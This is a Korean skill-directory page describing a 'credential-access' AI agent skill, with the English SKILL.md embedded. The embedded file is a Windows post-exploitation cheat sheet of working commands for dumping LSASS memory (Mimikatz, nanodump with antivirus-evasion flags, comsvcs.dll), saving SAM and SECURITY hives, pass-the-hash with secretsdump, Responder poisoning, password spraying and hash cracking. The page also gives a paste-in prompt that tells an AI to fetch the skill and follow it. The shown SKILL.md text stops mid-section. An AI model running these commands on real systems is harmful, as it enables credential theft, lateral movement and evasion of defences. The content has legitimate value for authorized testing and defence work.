본문으로 건너뛰기
Skillpedia
보안6.5k · #14133

credential-access

하는 일

이 지식 베이스는 Windows 시스템에서 로그인 비밀 값이 저장되는 위치와 네트워크에서 노출될 수 있는 방식을 다룹니다. 이 출처를 보호해야 하는 방어자와 허가된 테스터를 위한 것입니다.

사용하는 경우

  • ✓보안 팀이 서버의 비밀번호 저장소가 보호되는지 확인하려는 경우.
  • ✓허가된 테스트가 이름 해석 포이즈닝이 자격 증명을 노출하는지 확인해야 할 때.
  • ✓팀이 비밀번호 스프레이 방어와 계정 잠금 설정을 검토하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리 Windows 서버가 저장된 로그인 비밀 값을 보호하는지, 그리고 이름 포이즈닝이나 비밀번호 스프레이로 계정이 노출될 수 있는지 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 자격 증명 저장소의 보호 설정을 확인하고, 이름 해석과 잠금 정책을 점검한 뒤, 고쳐야 할 노출을 보고합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Credential Access Knowledge Base

Credential access extracts authentication material from compromised systems and network traffic. Captured credentials enable lateral movement, privilege escalation, and persistent access. Always validate scope authorization before executing credential attacks.

Quick Reference

# LSASS dump via comsvcs.dll (living-off-the-land, no tool upload)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\out.dmp full

# SAM/SYSTEM hive extraction
reg save HKLM\SAM C:\Windows\Temp\SAM && reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM && reg save HKLM\SECURITY C:\Windows\Temp\SECURITY

# Remote secretsdump (domain creds required)
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -outputfile secretsdump_<TARGET>

# Responder LLMNR/NBT-NS poisoning
responder -I eth0 -dwPv | tee responder_<TARGET>.log

# Password spray with NetExec
nxc smb <TARGET> -u users.txt -p 'Spring2026!' --continue-on-success | tee spray_<TARGET>.log

# Crack NTLM hashes
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -o cracked.txt

MITRE ATT&CK Mapping

Technique ID Name Tools
T1003.001 OS Credential Dumping: LSASS Memory Mimikatz, nanodump, comsvcs.dll, HandleKatz
T1003.002 OS Credential Dumping: SAM reg save, secretsdump.py
T1003.004 OS Credential Dumping: LSA Secrets secretsdump.py, Mimikatz
T1557.001 LLMNR/NBT-NS Poisoning Responder
T1110.003 Password Spraying CrackMapExec, NetExec, DomainPasswordSpray
T1187 Forced Authentication ntlmrelayx.py, PetitPotam

1. LSASS Memory Dumping

Mimikatz — sekurlsa Module

# Dump all logon passwords from LSASS
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > mimikatz_<TARGET>.txt

# Dump NTLM hashes only
mimikatz.exe "privilege::debug" "sekurlsa::msv" "exit"

# Dump Kerberos tickets from memory
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

# Dump cached domain credentials
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"

nanodump (Stealthier LSASS Dump)

# Direct LSASS dump — avoids Mimikatz signatures
nanodump.exe --write C:\Windows\Temp\out.dmp

# Fork LSASS process first (avoids direct handle to lsass.exe)
nanodump.exe --fork --write C:\Windows\Temp\out.dmp

# Use invalid signature to bypass AV file scanning
nanodump.exe --write C:\Windows\Temp\out.dmp --invalid

# Parse dump offline with Mimikatz
mimikatz.exe "sekurlsa::minidump out.dmp" "sekurlsa::logonpasswords" "exit"

comsvcs.dll MiniDump (LOLBin)

# Get LSASS PID
$lsassPid = (Get-Process lsass).Id

# Dump using comsvcs.dll — no tool upload required
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPid C:\Windows\Temp\lsass.dmp full

# Alternative: use cmd with tasklist
tasklist /fi "imagename eq lsass.exe"
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\Windows\Temp\lsass.dmp full

HandleKatz (Handle Duplication)

# Uses handle duplication to access LSASS — bypasses PPL in some configs
HandleKatz.exe --pid:<LSASS_PID> --outfile:C:\Windows\Temp\lsass.dmp

# Parse the dump offline
pypykatz lsa minidump lsass.dmp -o handlekatz_<TARGET>.txt

2. SAM/SECURITY/SYSTEM Hive Extraction

Registry Save (Local Admin Required)

:: Save SAM, SYSTEM, and SECURITY hives
reg save HKLM\SAM C:\Windows\Temp\SAM
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY

:: Transfer to attack machine, then extract
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL -outputfile local_hashes

Remote Extraction with secretsdump.py

# With plaintext credentials
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -outputfile secretsdump_<TARGET>

# With NTLM hash (pass-the-hash)
secretsdump.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH> -outputfile secretsdump_<TARGET>

# Extract only specific secret types
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -just-dc-ntlm   # DC: NTLM hashes only
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -just-dc         # DC: All including Kerberos keys

# Volume Shadow Copy method (avoids locked file issues)
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -use-vss

3. DPAPI Secrets

SharpDPAPI — Browser & Credential Vault

# Dump all DPAPI-protected credentials for curre
자주 묻는 질문

LSASS란 무엇인가요?

메모리에 로그인 비밀 값을 보관하는 Windows 프로세스이므로 강한 보호가 필요합니다.

비밀번호 스프레이란 무엇인가요?

여러 계정에 몇 가지 흔한 비밀번호를 시도하는 것이며, 잠금 정책과 모니터링으로 제한할 수 있습니다.

방어자는 무엇을 해야 하나요?

자격 증명 보호 기능을 켜고, 이름 포이즈닝을 제한하며, 로그인 실패를 모니터링해야 합니다.

상세 정보

작성자의 원본 설명

Credential extraction and capture — LSASS dumping, SAM/SECURITY hive extraction, DPAPI decryption, NTLM relay, Responder poisoning, password spraying, hash cracking.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14133
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬